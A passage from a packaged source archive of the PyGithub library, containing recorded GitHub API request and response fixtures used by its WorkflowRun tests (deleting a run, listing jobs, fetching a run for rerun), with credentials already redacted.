X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBBA:12CC:709E:C082:63C15A79')] {"id":3881497935,"name":"CI","node_id":"WFR_kwLOADYVqs7nWvVP","head_branch":"feat/workflow-run","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","path":".github/workflows/ci.yml","display_title":"TEST PR","run_number":930,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1903133,"check_suite_id":10279069747,"check_suite_node_id":"CS_kwDOADYVqs8AAAACZK4oMw","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935","pull_requests":[],"created_at":"2023-01-10T08:24:19Z","updated_at":"2023-01-10T08:28:20Z","actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-01-10T08:24:19Z","triggering_actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/10279069747","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","tree_id":"3ce398f9ee2571549b7fea545bfa5bf28e3ca0f5","message":"add attribute 'name' on WorkflowRun","timestamp":"2023-01-10T08:08:37Z","author":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"},"committer":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":587206601,"node_id":"R_kgDOIwAPyQ","name":"PyGithub","full_name":"nuang-ee/PyGithub","private":false,"owner":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"html_url":"https://github.com/nuang-ee/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nuang-ee/PyGithub","forks_url":"https://api.github.com/repos/nuang-ee/PyGithub/forks","keys_url":"https://api.github.com/repos/nuang-ee/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nuang-ee/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nuang-ee/PyGithub/teams","hooks_url":"https://api.github.com/repos/nuang-ee/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nuang-ee/PyGithub/events","assignees_url":"https://api.github.com/repos/nuang-ee/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nuang-ee/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/tags","blobs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nuang-ee/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nuang-ee/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nuang-ee/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nuang-ee/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscription","commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nuang-ee/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nuang-ee/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nuang-ee/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nuang-ee/PyGithub/merges","archive_url":"https://api.github.com/repos/nuang-ee/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nuang-ee/PyGithub/downloads","issues_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nuang-ee/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nuang-ee/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nuang-ee/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nuang-ee/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nuang-ee/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nuang-ee/PyGithub/deployments"}} https DELETE api.github.com None /repos/PyGithub/PyGithub/actions/runs/3881497935 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 403 [('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '29'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '31'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBBB:4B43:7BAC:CB5C:63C15A79')] {"message":"Must have admin rights to Repository.","documentation_url":"https://docs.github.com/rest/reference/actions#delete-a-workflow-run"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/WorkflowRun.test_jobs.txt0000644000175100001660000003213414756101563023214 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/actions/runs/3881497935/jobs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 20 Jun 2023 06:27:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"96a5512fe26678095c0e1664a413e79b9bafe00b1fb6cb939dd09afd530010ad"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '37'), ('X-RateLimit-Reset', '1687245884'), ('X-RateLimit-Resource', 'core'), ('X-RateLimit-Used', '23'), ('Accept-Ranges', 'bytes'), ('Content-Length', '1275'), ('X-GitHub-Request-Id', '83BE:12914:3B912FB:3C20829:649146B8')] {"total_count":5,"jobs":[{"id":10545727758,"run_id":3881497935,"workflow_name":"CI","head_branch":"feat/workflow-run","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","run_attempt":1,"node_id":"CR_kwDOADYVqs8AAAACdJMJDg","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/10545727758","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935/jobs/6620564740","status":"completed","conclusion":"success","created_at":"2023-01-10T08:24:21Z","started_at":"2023-01-10T08:24:28Z","completed_at":"2023-01-10T08:25:28Z","name":"test (Python 3.7)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-01-10T08:24:27.000Z","completed_at":"2023-01-10T08:24:29.000Z"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-01-10T08:24:29.000Z","completed_at":"2023-01-10T08:24:31.000Z"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-01-10T08:24:31.000Z","completed_at":"2023-01-10T08:24:31.000Z"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-01-10T08:24:32.000Z","completed_at":"2023-01-10T08:24:38.000Z"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-01-10T08:24:38.000Z","completed_at":"2023-01-10T08:25:25.000Z"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-01-10T08:25:25.000Z","completed_at":"2023-01-10T08:25:27.000Z"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-01-10T08:25:27.000Z","completed_at":"2023-01-10T08:25:27.000Z"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-01-10T08:25:27.000Z","completed_at":"2023-01-10T08:25:27.000Z"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-01-10T08:25:27.000Z","completed_at":"2023-01-10T08:25:27.000Z"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/10545727758","labels":["ubuntu-latest"],"runner_id":1,"runner_name":"Hosted Agent","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":10545727888,"run_id":3881497935,"workflow_name":"CI","head_branch":"feat/workflow-run","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","run_attempt":1,"node_id":"CR_kwDOADYVqs8AAAACdJMJkA","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/10545727888","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935/jobs/6620564849","status":"completed","conclusion":"success","created_at":"2023-01-10T08:24:21Z","started_at":"2023-01-10T08:24:30Z","completed_at":"2023-01-10T08:28:18Z","name":"test (Python 3.8)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-01-10T08:24:30.000Z","completed_at":"2023-01-10T08:24:49.000Z"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-01-10T08:24:49.000Z","completed_at":"2023-01-10T08:25:28.000Z"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-01-10T08:25:28.000Z","completed_at":"2023-01-10T08:25:28.000Z"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-01-10T08:25:28.000Z","completed_at":"2023-01-10T08:25:32.000Z"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-01-10T08:25:33.000Z","completed_at":"2023-01-10T08:28:14.000Z"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-01-10T08:28:15.000Z","completed_at":"2023-01-10T08:28:16.000Z"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-01-10T08:28:17.000Z","completed_at":"2023-01-10T08:28:17.000Z"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-01-10T08:28:17.000Z","completed_at":"2023-01-10T08:28:17.000Z"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-01-10T08:28:17.000Z","completed_at":"2023-01-10T08:28:17.000Z"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/10545727888","labels":["ubuntu-latest"],"runner_id":5,"runner_name":"GitHub Actions 5","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":10545728039,"run_id":3881497935,"workflow_name":"CI","head_branch":"feat/workflow-run","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","run_attempt":1,"node_id":"CR_kwDOADYVqs8AAAACdJMKJw","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/10545728039","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935/jobs/6620564960","status":"completed","conclusion":"success","created_at":"2023-01-10T08:24:22Z","started_at":"2023-01-10T08:24:31Z","completed_at":"2023-01-10T08:25:30Z","name":"test (Python 3.9)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-01-10T08:24:30.000Z","completed_at":"2023-01-10T08:24:32.000Z"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-01-10T08:24:32.000Z","completed_at":"2023-01-10T08:24:34.000Z"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-01-10T08:24:35.000Z","completed_at":"2023-01-10T08:24:35.000Z"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-01-10T08:24:35.000Z","completed_at":"2023-01-10T08:24:39.000Z"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-01-10T08:24:39.000Z","completed_at":"2023-01-10T08:25:26.000Z"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-01-10T08:25:26.000Z","completed_at":"2023-01-10T08:25:28.000Z"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-01-10T08:25:30.000Z","completed_at":"2023-01-10T08:25:30.000Z"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-01-10T08:25:30.000Z","completed_at":"2023-01-10T08:25:30.000Z"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-01-10T08:25:29.000Z","completed_at":"2023-01-10T08:25:29.000Z"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/10545728039","labels":["ubuntu-latest"],"runner_id":4,"runner_name":"GitHub Actions 4","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":10545728190,"run_id":3881497935,"workflow_name":"CI","head_branch":"feat/workflow-run","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","run_attempt":1,"node_id":"CR_kwDOADYVqs8AAAACdJMKvg","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/10545728190","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935/jobs/6620565085","status":"completed","conclusion":"success","created_at":"2023-01-10T08:24:22Z","started_at":"2023-01-10T08:24:28Z","completed_at":"2023-01-10T08:25:46Z","name":"test (Python 3.10)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-01-10T08:24:28.000Z","completed_at":"2023-01-10T08:24:30.000Z"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-01-10T08:24:30.000Z","completed_at":"2023-01-10T08:24:32.000Z"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-01-10T08:24:32.000Z","completed_at":"2023-01-10T08:24:32.000Z"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-01-10T08:24:34.000Z","completed_at":"2023-01-10T08:24:41.000Z"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-01-10T08:24:41.000Z","completed_at":"2023-01-10T08:25:40.000Z"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-01-10T08:25:41.000Z","completed_at":"2023-01-10T08:25:43.000Z"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-01-10T08:25:44.000Z","completed_at":"2023-01-10T08:25:44.000Z"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-01-10T08:25:44.000Z","completed_at":"2023-01-10T08:25:44.000Z"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-01-10T08:25:44.000Z","completed_at":"2023-01-10T08:25:44.000Z"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/10545728190","labels":["ubuntu-latest"],"runner_id":3,"runner_name":"GitHub Actions 3","runner_group_id":2,"runner_group_name":"GitHub Actions"},{"id":10545728356,"run_id":3881497935,"workflow_name":"CI","head_branch":"feat/workflow-run","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","run_attempt":1,"node_id":"CR_kwDOADYVqs8AAAACdJMLZA","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/10545728356","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935/jobs/6620565227","status":"completed","conclusion":"success","created_at":"2023-01-10T08:24:22Z","started_at":"2023-01-10T08:24:31Z","completed_at":"2023-01-10T08:25:50Z","name":"test (Python 3.11-dev)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-01-10T08:24:30.000Z","completed_at":"2023-01-10T08:24:33.000Z"},{"name":"Run actions/checkout@v2","status":"completed","conclusion":"success","number":2,"started_at":"2023-01-10T08:24:33.000Z","completed_at":"2023-01-10T08:24:35.000Z"},{"name":"Set up Python","status":"completed","conclusion":"success","number":3,"started_at":"2023-01-10T08:24:35.000Z","completed_at":"2023-01-10T08:24:35.000Z"},{"name":"Install tox","status":"completed","conclusion":"success","number":4,"started_at":"2023-01-10T08:24:36.000Z","completed_at":"2023-01-10T08:24:41.000Z"},{"name":"Run tests","status":"completed","conclusion":"success","number":5,"started_at":"2023-01-10T08:24:41.000Z","completed_at":"2023-01-10T08:25:45.000Z"},{"name":"Upload coverage to Codecov","status":"completed","conclusion":"success","number":6,"started_at":"2023-01-10T08:25:45.000Z","completed_at":"2023-01-10T08:25:48.000Z"},{"name":"Post Set up Python","status":"completed","conclusion":"success","number":11,"started_at":"2023-01-10T08:25:48.000Z","completed_at":"2023-01-10T08:25:48.000Z"},{"name":"Post Run actions/checkout@v2","status":"completed","conclusion":"success","number":12,"started_at":"2023-01-10T08:25:48.000Z","completed_at":"2023-01-10T08:25:48.000Z"},{"name":"Complete job","status":"completed","conclusion":"success","number":13,"started_at":"2023-01-10T08:25:48.000Z","completed_at":"2023-01-10T08:25:48.000Z"}],"check_run_url":"https://api.github.com/repos/PyGithub/PyGithub/check-runs/10545728356","labels":["ubuntu-latest"],"runner_id":2,"runner_name":"GitHub Actions 2","runner_group_id":2,"runner_group_name":"GitHub Actions"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/WorkflowRun.test_rerun.txt0000644000175100001660000003477314756101563023425 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/actions/runs/3910280793 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"89d9fde12e552b2852b7a1dbda3882f4d2f4f9288ca086f90e002a1d813d9179"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '26'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '34'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBBE:4413:7A50:CA12:63C15A7A')] {"id":3910280793,"name":"CI","node_id":"WFR_kwLOADYVqs7pEiZZ","head_branch":"feat/workflow-run","head_sha":"867fef461ec43e56fab73556ac4570d663a6a733","path":".github/workflows/ci.yml","display_title":"TEST PR","run_number":932,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1903133,"check_suite_id":10351510366,"check_suite_node_id":"CS_kwDOADYVqs8AAAACaP-DXg","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3910280793","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3910280793","pull_requests":[],"created_at":"2023-01-13T10:02:50Z","updated_at":"2023-01-13T10:04:23Z","actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.co